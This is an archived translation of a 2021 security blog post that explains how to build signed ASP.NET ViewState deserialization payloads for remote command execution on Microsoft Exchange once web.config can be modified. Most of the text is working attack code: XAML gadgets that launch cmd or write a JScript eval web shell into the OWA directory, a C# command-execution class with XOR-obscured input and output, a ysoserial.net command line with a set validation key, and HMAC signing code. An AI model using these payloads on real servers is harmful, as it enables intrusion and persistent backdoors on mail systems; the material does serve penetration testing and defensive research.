

DotNet deserialization - a program implementation for generating ViewState

DotNet——ViewState - 3gstudent, 3gstudent-Blog.

- Title in English: DotNet deserialization - a program implementation for generating ViewState
- Published: 2021-03-12
- Original: <https://3gstudent.github.io/DotNet%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E7%94%9F%E6%88%90ViewState%E7%9A%84%E7%A8%8B%E5%BA%8F%E5%AE%9E%E7%8E%B0>
- Preserved from:
<https://3gstudent.github.io/DotNet%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E7%94%9F%E6%88%90ViewState%E7%9A%84%E7%A8%8B%E5%BA%8F%E5%AE%9E%E7%8E%B0> (preserved-copy) on 2026-08-04
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content (English translation)

English translation. Original text is retained in the content store; the source PDF, when available, retains its original language.

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

DotNet deserialization - a program implementation for generating ViewState

12 Mar 2021

0x00 Preface

In the previous article "Penetration techniques - from Exchange file read/write permission to command execution" I introduced the method of going from Exchange file read/write permission to command execution through .Net deserialization of ViewState, and shared the development details of three exploitation scripts. This article will analyze in detail how ViewState is generated, and introduce the development details of another script that goes from Exchange file read/write permission to command execution

References:

http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html
<https://github.com/pwntester/ysoserial.net>

0x01 Introduction

This article will cover the following:

- Two implementation methods for generating ViewState
- The development details of another exploitation script
- Open source code

0x02 Background knowledge

1. The implementation principle of DotNet deserialization of ViewState

If you can read the contents of web.config and obtain the encryption key and algorithm in it, you can construct valid serialized data. If the serialized data is set to a malicious delegate, then when ViewState uses ObjectStateFormatter to deserialize and invoke the delegate, remote code execution is achieved.

2. The generation flow of ViewState

Using validationkey and generator as parameters, sign the serialized xaml data, place the signature after the serialized xaml data, and Base64 encode it to form the final ViewState content

Intuitive understanding:

```
data = Serialize(xaml)
ViewState = data + (data+generator).ComputeHash(validationKey)
ViewState = Base64(ViewState)
```

For encryption details refer to:

<https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L255>

<https://github.com/0xacb/viewgen/blob/master/viewgen#L156>

For the concrete details you can use dnSpy to decompile System.Web.dll and find the GetEncodedData function of System.Web.Configuration.MachineKeySection

0x03 Two implementation methods for generating ViewState

Test environment:

Exchange file read/write permission has been obtained,

%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config and

%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config can be modified, and the content of machineKey is set as follows:

```
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
```

For .Net deserialization command execution at these two locations, the credentials of a legitimate user are no longer needed

Below are two program implementation methods for generating ViewState

1. Generating ViewState from xaml data

The flow is as follows:

- Construct the xaml data
- Generate the serialized xaml data
- Generate the signature data
- Concatenate the serialized xaml data and the signature data and then Base64 encode

(1) Construct the xaml data

Four kinds are introduced here, corresponding to four functions

Execute a command:

```
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:System="clr-namespace:System;assembly=mscorlib"
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
    <ObjectDataProvider.MethodParameters>
        <System:String>cmd</System:String>
        <System:String>"/c notepad"</System:String>
    </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>
```

Write a file:

```

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
    <s:String x:Key="a" x:FactoryMethod="s:Environment.GetEnvironmentVariable"
x:Arguments="ExchangeInstallPath"/>
    <s:String x:Key="b" x:FactoryMethod="Concat">
        <x:Arguments>
            <StaticResource ResourceKey="a"/>
            <s:String>FrontEnd\\HttpProxy\\owa\\auth\\xaml.aspx</s:String>
        </x:Arguments>
    </s:String>
    <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:I0.File}"
MethodName="WriteAllText">
        <ObjectDataProvider.MethodParameters>
            <StaticResource ResourceKey="b"/>
            <s:String><%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
            </s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}"
MethodName=""/>
    <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}"
MethodName="get_Response"/>
    <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>
</ResourceDictionary>

```

Note:

You need to pay attention to the escape characters of xaml

Set a Header:

```

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
    <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}"
    MethodName=""></ObjectDataProvider>
    <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}"
    MethodName="get_Response"></ObjectDataProvider>
    <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}"
    MethodName="get_Headers"></ObjectDataProvider>
    <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add">
        <ObjectDataProvider.MethodParameters>
            <s:String>TEST-HEADER</s:String>
            <s:String>123456</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End">
</ObjectDataProvider>
</ResourceDictionary>

```

Set the Response:

```

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
    <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}"
    MethodName=""></ObjectDataProvider>
    <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}"
    MethodName="get_Response"></ObjectDataProvider>
    <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="Write">
        <ObjectDataProvider.MethodParameters>
            <s:String>123456</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End">
</ObjectDataProvider>
</ResourceDictionary>

```

(2) Generate the serialized xaml data

This needs Microsoft.PowerShell.Editor.dll

(3) Generate the signature data

Reference code:

```
byte[] validationKey= strToToHexByte(key);
uint _clientstateid = 0;
// Converting "generator" from HEX to INT
if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out
_clientstateid))

    System.Environment.Exit(0);

byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
ms = new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());
```

Note:

The code is modified from <https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs#L253>

(4) Concatenate the serialized xaml data and the signature data and then Base64 encode
Just call `Convert.ToBase64String()`

The complete implementation code has been uploaded to github, at the following address:
<https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/XamlToViewState.cs>

The code can read a xaml file, use validationkey and generator to compute the signature, and generate the final ViewState

Advantage:

The flow is clear, which makes debugging and modifying the details easier

Disadvantage:

It depends on the intermediate file Microsoft.PowerShell.Editor.dll, which takes up space

Note:

The complete exploitation files of this method have been packaged and uploaded to github, at the following address:

<https://github.com/3gstudent/test/blob/master/XamlToViewState.zip>

2. Generating ViewState from serialized xaml data

Use ysoserial.net to skip the step from xaml data to serialized xaml data, which improves development efficiency

The flow is as follows:

(1) Modify the ysoserial.net source code to directly read usable serialized xaml data

In

<https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L209>

```
Console.WriteLine(payloadString);  
Console.WriteLine("The content above is what we need");  
Console.WriteLine("-----");
```

It can output the Base64 encoded serialized xaml data on the console

Compile ysoserial.net to produce ysoserial.exe, and create a new shellPayload.cs in the same directory, with the following content:

```

class E
{
    static string xor(string s) {
        char[] a = s.ToCharArray();
        for(int i = 0; i < a.Length; i++)
            a[i] = (char)(a[i] ^ 'x');
        return new string(a);
    }

    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["__Value"];
            cmd = xor(cmd);
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            output = xor(output);
            context.Response.Write(output);

        } catch (System.Exception) { }
        context.Response.Flush();
        context.Response.End();
    }
}

```

Use ysoserial.exe to generate the ViewState, with the following command:

```

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c
"shellPayload.cs;System.Web.dll;System.dll;" --validationlg="SHA1" --
validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

```

Obtain the Base64 encoded serialized xaml data from the output

(2) Compute the signature of the serialized xaml data and generate the final ViewState data

The code is as follows:

```
static string CreateViewState(byte[] dat, string generator, string key)
{
    MemoryStream ms = new MemoryStream();
    byte[] validationKey= strToHexByte(key);

    uint _clientstateid = 0;
    if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture,
out _clientstateid))
    {
        System.Environment.Exit(0);
    }

    byte[] _mackey = new byte[4];
    _mackey[0] = (byte)_clientstateid;
    _mackey[1] = (byte)(_clientstateid >> 8);
    _mackey[2] = (byte)(_clientstateid >> 16);
    _mackey[3] = (byte)(_clientstateid >> 24);

    ms = new MemoryStream();
    ms.Write(dat, 0, dat.Length);
    ms.Write(_mackey, 0, _mackey.Length);
    byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());
    ms=new MemoryStream();
    ms.Write(dat, 0, dat.Length);
    ms.Write(hash, 0, hash.Length);
    return Convert.ToBase64String(ms.ToArray());
}
```

The complete implementation code has been uploaded to github, at the following address:

<https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SerializeXamlToViewState.cs>

The code implements computing the signature from the serialized xaml data and generating the final ViewState data

Advantage:

It takes up less space, and the existing Payloads of ysoserial.net can be used directly

Disadvantage:

Debugging and modifying it is more troublesome

Note:

The CreateViewState() function of the two implementation methods above differs in the details, which needs attention

0x04 The development details of another exploitation script

Used to go from Exchange file read/write permission to command execution

Following the structure of <https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs>, wrap the serialized xaml data in an array, use validationkey and generator as parameters to sign the serialized xaml data, and form the final ViewState content

The complete implementation code has been uploaded to github, at the following address:

<https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.cs>

The code supports deserialization execution at two locations, which are the files

`%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx` and

`%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx` that exist by default

The code first sends ysoserial.net data to achieve ActivitySurrogateDisableTypeCheck, then it can execute commands and obtain the results of the command execution; data is sent via POST with the parameter `__value`, and the communication data is encrypted with a character-by-character xor

The supported features are kept consistent with [ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py](#)

0x05 Summary

This article analyzed the details of generating ViewState, introduced two program implementation methods for generating ViewState, and wrote code implementing another exploitation script that goes from Exchange file read/write permission to command execution

[LEAVE A REPLY](#)